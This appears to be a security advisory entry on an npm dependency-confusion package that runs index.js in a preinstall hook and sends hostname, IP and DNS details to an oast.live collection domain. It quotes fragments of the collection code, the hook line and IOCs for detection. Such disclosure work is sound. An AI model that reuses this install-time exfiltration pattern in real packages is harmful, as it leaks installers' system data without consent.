GCVE-110-OSM-2026-5604

Bug bounty dependency confusion attempt. Package exfiltrates basic system information (hostname, IP, DNS) to security research infrastructure. Behaviors: data exfiltration, install-time execution. Entrypoint: index.js (install-hook: node index.js || true) Exfil: d8jbmnsqcfu78dfs8vdg34ohqhirb4pbg.oast.live (custom-c2, recovery: plaintext in index.js) Payload: index.js Key findings: - OAST/Interactsh Exfiltration in index.js: ".oast.live" - System Information Exfiltration in index.js: "__dirname,c:process.cwd(),pkg:'nstrlabs/auth'}); const hex=Buffer.from(d).toStri..." - Platform Detection with Data Collection in index.js: "JSON.stringify({h:os.hostname(),u:os" - Install Hook Executes Local JS File in package.json: ""preinstall":"node index.js || true"" - Very New NPM Publisher Account IOCs: - ipv4: 172.201.213.59 - domains: d8jbmnsqcfu78dfs8vdg34ohqhirb4pbg.oast.live - payloadFileHash: a5c8f88f5e6d4cf0276663c90c5a7a1541ccb5d8ccf5f0572eba978a471c2009